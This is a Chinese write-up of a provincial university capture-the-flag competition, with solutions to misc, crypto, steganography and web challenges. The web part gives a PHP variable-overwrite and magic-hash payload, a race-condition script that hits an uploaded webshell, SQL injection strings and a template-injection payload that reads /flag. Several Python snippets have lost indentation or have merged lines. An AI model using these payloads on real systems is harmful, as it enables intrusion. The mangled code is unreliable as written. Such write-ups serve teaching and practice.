第七届山东省大学生网络安全技能大赛Writeup

Misc

1.Crack it

题目描述

破解该文件,获得密码,flag格式为:flag{***}

知识点

shadow文件破解

解题思路

kali下,无需加载字典,john直接破解即可。

flag{hellokitty}

2.进制转换

题目描述

二进制、八进制、十进制、十六进制,你能分的清吗?

知识点

编程基础、进制转换

解题思路

import binascii

text = "d87 x65 x6c x63 o157 d109 o145 b100000 d116 b1101111 o40 x6b b1100101 b1101100 o141 d105 x62 d101 b1101001 d46 o40 d71 x69 d118 x65 x20 b1111001 o157 b1110101 d32 o141 d32 d102 o154 x61 x67 b100000 o141 d115 b100000 b1100001 d32 x67 o151 x66 d116 b101110 b100000 d32 d102 d108 d97 o147 d123 x31 b1100101 b110100 d98 d102 b111000 d49 b1100001 d54 b110011 x39 o64 o144 o145 d53 x61 b1100010 b1100011 o60 d48 o65 b1100001 x63 b110110 d101 o63 b111001 d97 d51 o70 d55 b1100010 d125 x20 b101110 x20 b1001000 d97 d118 o145 x20 d97 o40 d103 d111 d111 x64 d32 o164 b1101001 x6d o145 x7e"
solution = ''
text2 = text.split(' ')
for x in text2:
print x
if x[0] == 'b': #binary
solution += chr(int(x[1:],2))
elif x[0] == 'x': # hexadecimal
solution += x[1:].decode("hex")
elif x[0] == 'd': # decimal
solution += chr(int(x[1:]))
elif x[0] == 'o': # octal
solution += chr(int(x[1:],8))
print solution

3.basic

题目描述

黑,白,黑白,黑黑白白。

知识点

python像素点写图片

解题思路

from PIL import Image
import re # 506*122=61366
x = 150 #x坐标  通过对txt里的行数进行整数分解
y = 900 #坐标  x*y = 行数
im = Image.new("RGB",(x,y))#创建图片
file = open('basic.txt') #打开rbg值文件
#通过一个个rgb点生成图片
for i in range(0,x):
for j in range(0,y):
line = file.readline()#获取一行
rgb = line.split(",")#分离rgb
im.putpixel((i,j),(int(rgb[0]),int(rgb[1]),int(rgb[2])))#rgb转化为像素
im.show()

得到flag图片

flag{RGB_1s_e4sY}

Crypto

1.affine

题目描述

y = 17*x-8 flag{szzyfimhyzd}
答案格式:flag{**}

知识点

仿射加密

解题思路

仿射加密,直接解密即可。

2.rsa

题目描述

请破解密文

知识点

rsa wiener attack

解题思路

ne已经给出,可以看出e特别大,在e特别大的情况下,可以使用wiener attack的方法进行破解,

正好工具RsaCtfTool集成了wiener attack的方法,所以可以直接使用RsaCtfTool计算私钥, 如下所示:

使用pqe直接解密密文,得到flag,代码如下所示:

#coding:utf-8
from libnum 
import n2s,s2nimport base64
def gcd(a, b):   #求最大公约数
if a < b:
a, b = b, a
while b != 0:
temp = a % b
a = b
b = temp
return a
def egcd(a, b):
if a == 0:
return (b, 0, 1)
else:
g, y, x = egcd(b % a, a)
return (g, x - (b // a) * y, y)
def modinv(a, m):
g, x, y = egcd(a, m)
if g != 1:
   raise Exception('modular inverse does not exist')
else:
   return x % mif __name__ == "__main__":
p=15991846970993213322072626901560749932686325766403404864023341810735319249066370916090640926219079368845510444031400322229147771682961132420481897362843199
q=28805791771260259486856902729020438686670354441296247148207862836064657849735343618207098163901787287368569768472521344635567334299356760080507454640207003
e = 354611102441307572056572181827925899198345350228753730931089393275463916544456626894245415096107834465778409532373187125318554614722599301791528916212839368121066035541008808261534500586023652767712271625785204280964688004680328300124849680477105302519377370092578107827116821391826210972320377614967547827619
# tmp = base64.b64decode("qzogS7X8M3ZOpkUhJJcbukaRduLyqHAPblmabaYSm9iatuulrHcEpBmil7V40N7gbsQXwYx5EBH5r5V2HRcEIOXjgfk5vpGLjPVxBLyXh2DajHPX6KvbFpQ8jNpCQbUNq8Hst00yDSO/6ri9dk6bk7+uyuN0b2K1bNG5St6sCQ4qYEA3xJbsHFvMqtvUdhMiqO7tNCUVTKZdN7iFvSJqK2IHosIf7FqO24zkHZpHi31sYU7pcgYEaGkVaKs8pjq6nbnffr4URfoexZHeQtq5UAkr95zD6WgvGcxaTDKafFntboX9GR9VUZnHePiio7nJ3msfue5rkIbISjmGCAlj+w==")
#  = 
d = modinv(e, (p - 1) * (q - 1))# c=s2n(tmp)
c = 38230991316229399651823567590692301060044620412191737764632384680546256228451518238842965221394711848337832459443844446889468362154188214840736744657885858943810177675871991111466653158257191139605699916347308294995664530280816850482740530602254559123759121106338359220242637775919026933563326069449424391192
#c = 225031483444634056931067907865853799650197225351377050632290334721073031287701730297815850654473721939907812470206115171738967740183098960272963323728747481560137205796840356532306950935686580268408289864109695494835661414073083573249882362332920722000099781994315336570711188934565379141406727420346806389405536474102730682155998263607095718543239272202402139286809779368710600842078606046563228470023546348908618719147790859257980882643030144242048154566691808688844513142261099020381730517293884263384819159874220288293023868919557980548807831273449743064237407705987056818011286315950476959812697067649075359373253
n = p*q
m=pow(c,d,n)
print n2s(m)

此处对于libnum库安装简单说明一下

git clone https://github.com/hellman/libnum
cd libnum
python setup.py install

把脚本跑一下就会得到flag

3.神秘的代码

题目描述

xor

知识点

xor+aes_ecb

解题思路

将明文与密文进行异或,得到一段hint,如下所示:

i am a hydre agenT, coverly spying on the superHeroes. I am aware of the group that iS going to aTtack you...but Hydra has had its diffErences with you in the past, so i'm not going to maKe it vEry simple for You ....ecb...aes(I Vouch for this: 12345)...md5(this)...base64...

这里将大写字母提取出来,是THISTHEKEYIV,后面又提示是aes_ecb,所以这里有一个坑点,这个大写字母的组合并不是aes算法的key,

所以也不能用来解密,然后后面又提示是md5(this),即将整段话进行md5,然后进行解密,最后的代码如下:

import base64
import hashlib
from Crypto.Cipher import AES

def readfile(path):
with open(path, 'r') as f:
return f.read()
def xor(s1, s2):
return ''.join(chr(ord(a) ^ ord(b)) for a,b in zip(s1,s2))
# read the files
clear = readfile('info_clear.txt')
crypt = readfile('info_crypt.txt')
superhero = readfile('true_crypto.txt')
superhero = base64.b64decode(superhero)

# get the key
dec = xor(clear,crypt).rstrip('\n').encode('utf-8')
print(dec)
key = hashlib.md5(dec).hexdigest().encode()
print(key)

# decrypt aes-ecbcipher = AES.new(key, AES.MODE_ECB)
msg = cipher.decrypt(superhero)
print(msg)

简单说明一下关于:使用python的Crypto模块的AES加密文件

在cmd中执行:

pip install pycrypto -i https://mirrors.aliyun.com/pypi/simple/

经过上边儿的步骤,就可以使下面的内容执行

from Crypto.Cipher import AES

Stego

1.啊哒

题目描述

有趣的表情包

知识点

exif、隐藏压缩包

解题思路

拿到之后是一个jpg文件,先使用binwalk分析下文件,得到图片中隐藏了一段tiff信息以及一个压缩包,都分离出来,发现压缩包被加密了,

tiff信息在相机型号出处有一段十六进制,转换成字符串以后是sdnisc_2018,如下图所示:

使用这个密码解密压缩包,即可获得:flag{3XiF_iNf0rM@ti0n}

2.color

题目描述

你见过彩虹吗?

知识点

拉长图片,二进制转字符串。

解题思路

查看每张图片的最低位,发现有变化。组成之后是一句话:

Make Me Tall

根据提示意思应该是要调整png的尺寸,扩大高度。

发现原来图像下部,有黑白块儿,按照黑->1,白->0转化成二进制数。

1111111101011110111111111011111110111111 
00001100101010110001 01001010010000001101 11010011011101010111 
1001101101101011011000111001101101111101

经过多次尝试之后发现,每一列,七个数字组成一个字符,进行二进制转化之后即可得到flag。

c1 = '11111111010111101111'
c2 = '11111011111110111111'
c3 = '00001100101010110001'
c4 = '01001010010000001101'
c5 = '11010011011101010111'
c6 = '10011011011010110110'
c7 = '00111001101101111101'

flag = ''

for i in range(0,20):
c = c1[i]+c2[i]+c3[i]+c4[i]+c5[i]+c6[i]+c7[i]
flag += chr(int(c,2))

print flag

3.神秘的文件

知识点

明文破解 + doc隐写

解题思路

将题目解压出来,题目压缩包里有个logo.png和一个加密压缩包,很明显的明文破解,

使用题目压缩包作为key和writeup压缩包进行明文破解(或者使用2345好压的标准压缩算法压缩logo.png),得到密码:

解压后得到doc文件,当成压缩包解密,能找到flag.txt中有一串base64编码的字符串,解码即可。

flag{d0cX_1s_ziP_file}

Web

web1 - babyweb

加XFF头和更改cookie的admin

web2 - babyweb2

<?php

include 'here.php';
$key = 'kelaibei';

if(isset($_GET['id'])){
$id = $_GET['id'];
@parse_str($id);
if ($key[99] != 'aabg7XSs' && md5($key[99]) == md5('aabg7XSs')) {
   echo $hint;
}
else{
echo 'try again';
}
}
else{
show_source(__FILE__);
}

利用parse_str变量覆盖,paylaod:?id=key[99]=QNKCDZO

得到upl04d50m3thing.php

写入一句话,提交得到php文件链接,访问发现内容被更改,输出Too slow!

利用条件竞争,先用burp的intruder开多线程访问

再利用脚本或其他方式尝试getshell

import requests
url = 'http://47.105.148.65:29002/uploads/457b055ce2a489dd334216ed0564f9351506d690/coold.php'
while 1:
r = requests.get(url)
if 'flag' in  r.text:
print r.text

flag{fa8d57d013fda75ad1e58e59b94b45c3}

easy_flask

Search Comments:处存在sql注入' order by 4# 出现错误

然后查询

存在ssti

SSTI,又称服务端模板注入攻击。其发生在MVC框架中的view层。

服务端接收了用户的输入,将其作为 Web 应用模板内容的一部分,在进行目标编译渲染的过程中,执行了用户插入的恶意内容,

因而可能导致了敏感信息泄露、代码执行、GetShell 等问题

但是add中限制字符长度,最多提交十个字符,没法正常使用ssti

测试search功能,username中存在sql注入

sdpcc ' union select 1,1,1 -- -

尝试查看flag

{{ ().__class__.__bases__[0].__subclasses__()[40]("/flag").read()}}

就会得到flag:flag{c15f43da-481e-4131-84b2-e315719b989b}

源链接

Hacking more

...